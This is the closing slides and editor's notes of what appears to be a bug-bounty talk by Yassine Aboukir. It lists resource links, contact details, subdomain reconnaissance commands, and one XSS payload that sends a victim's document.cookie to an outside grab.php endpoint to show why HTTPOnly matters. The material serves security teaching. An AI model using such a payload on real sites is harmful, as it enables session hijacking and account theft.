  • 48. Resources Useful links: • http://hackerone.com/hacktivity • https://github.com/ngalongc/bug-bounty-reference/blob/master/README.md
  • 49. Let’s stay in touch E-mail : Hello@yassineaboukir.com Twitter : @Yassineaboukir LinkedIn : /in/yaboukir Blog : http://www.yassineaboukir.com/blog/

Editor's Notes

  1. Sublist3r tool
  2. Dig ns yassineaboukir.com nslookup -type=cname help.yassineaboukir.com
  3. - HTTPOnly attribute. <img src=x onerror='alert(document.location="http://yassineaboukir.com/grab.php?c="+document.cookie)'>